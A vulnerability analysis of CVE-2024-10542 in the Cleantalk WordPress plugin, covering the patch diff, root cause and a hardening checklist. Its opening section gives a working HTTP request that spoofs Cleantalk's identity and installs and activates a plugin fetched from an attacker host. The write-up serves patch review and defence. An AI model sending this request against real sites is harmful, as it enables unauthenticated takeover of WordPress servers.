CVE-2024-10542 Exploit & Vulnerability Analysis

The Exploit

An unauthenticated attacker with network access to the WordPress server can trigger arbitrary plugin installation by spoofing reverse DNS resolution to claim Cleantalk server identity.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: cleantalk.org.attacker.com

action=apbct_remote_call&method_name=install_plugin&plugin_url=http://attacker.com/malicious.zip&nonce=

The request succeeds with HTTP 200 and the WordPress plugin installer begins fetching the remote plugin archive. Within seconds, the attacker's malicious plugin appears in the WordPress plugins list. A second request with action=apbct_remote_call&method_name=activate_plugin activates the payload, executing arbitrary PHP in the WordPress process context with no further authentication required.

What the Patch Did

Before

strpos(Helper::ipResolve(Helper::ipGet()), 'cleantalk.org') !== false;

After

in_array(Helper::ipResolve(Helper::ipGet('remote_addr')), $rc_servers, true);

The patch replaced a substring match against a hostname fragment with a strict whitelist check using in_array(..., true) against a hardcoded array of known Cleantalk server IPs. The true parameter enforces type-strict comparison, ruling out type juggling bypasses. The vulnerable code also accepted an implicit IP source; the fix explicitly names 'remote_addr' to ipGet(), reducing ambiguity about which header controls authentication.

Additionally, the patch wrapped the server-identity check with a second gate:

Before

self::checkWithoutToken()

After

(self::checkWithoutToken() && self::isAllowedWithoutToken($action))

This second change adds action-level authorization: even if the remote peer claims to be a Cleantalk server, only whitelisted actions ('get_fresh_wpnonce', 'post_api_key') proceed without a valid nonce. Plugin installation and activation are not in the allowed list, so they are now blocked.

Root Cause

CWE-20: Improper Input Validation and CWE-862: Missing Authorization Control.

The vulnerability flows across two layers. First, the ipGet() call retrieves the client IP from $_SERVER, defaulting to sources that can be spoofed via X-Forwarded-For or other proxy headers without strict validation. That IP is then passed to Helper::ipResolve(), which performs a reverse DNS lookup. The result—a hostname string—is validated using strpos() to check whether it contains the substring 'cleantalk.org'. An attacker controls the IP address via header injection, influences the DNS resolution result (or exploits a misconfigured resolver), and crafts a hostname like cleantalk.org.attacker.com to pass the substring check while not belonging to Cleantalk's actual IP ranges.

Second, once that identity check passes (even fraudulently), the $action parameter from the AJAX request is accepted without further authorization. The vulnerability lives at the boundary where the remote-call handler trusts the source IP as sufficient proof of identity, skipping both nonce validation and action-level access control.

Why It Works

The load-bearing line is the whitelist check:

in_array(Helper::ipResolve(Helper::ipGet('remote_addr')), $rc_servers, true)

Without this line—reverting to the substring match—the bug remains exploitable. The substring approach is fundamentally flawed because reverse DNS results are user-influenced; an attacker can control or poison the reverse zone for IP space they operate. The whitelist eliminates that trust assumption by hardcoding a finite set of Cleantalk IPs, making spoofing impossible if the list is kept current and the IP resolution is accurate.

The isAllowedWithoutToken($action) check is the second layer of defence. It implements privilege separation: the Cleantalk control panel may invoke legitimate operations (fetching nonces, validating API keys) without token overhead, but plugin installation—a high-impact operation—is explicitly excluded. Removing this check would re-open the vulnerability even with a correct IP whitelist, because an attacker spoofing a Cleantalk IP (via DNS hijack or resolver misconfiguration) could still call install_plugin. Together, these two checks enforce defense in depth: IP whitelist + action whitelist, so a single validation bypass does not grant full access.

The explicit 'remote_addr' parameter to ipGet() is a tertiary hardening: it stops ambiguity about which server variable feeds the identity check, preventing an attacker from exploiting optional-header fallback logic.

Hardening Checklist

• Implement wp_verify_nonce() or a custom token mechanism for all admin-level AJAX actions, regardless of source IP. Never use IP address alone as authentication; treat it as a hint, not proof.
• Maintain a static, versioned whitelist of trusted peer IPs and validate against it with strict equality (in_array(..., true)), not substring or regex matching. Update this list out-of-band from the release cycle if you add new servers.
• Apply principle of least privilege to remote call handlers: explicitly enumerate which actions may bypass token validation, and reject all others. Use a whitelist function like isAllowedWithoutToken() at the handler entry point.
• Validate the source IP against a single, explicit request header (e.g., always REMOTE_ADDR, or always X-Forwarded-For if behind a reverse proxy with documented header trust rules). Do not fall back to multiple headers.
• Never use reverse DNS as a security boundary; it is user-influenced and slow. If you must use DNS, require it as an additional signal only, never the sole proof of identity.

References

• https://nvd.nist.gov/vuln/detail/CVE-2024-10542
• https://www.wordfence.com/threat-intel/vulnerabilities/id/cleantalk-spam-protection-6-43-2-arbitrary-plugin-installation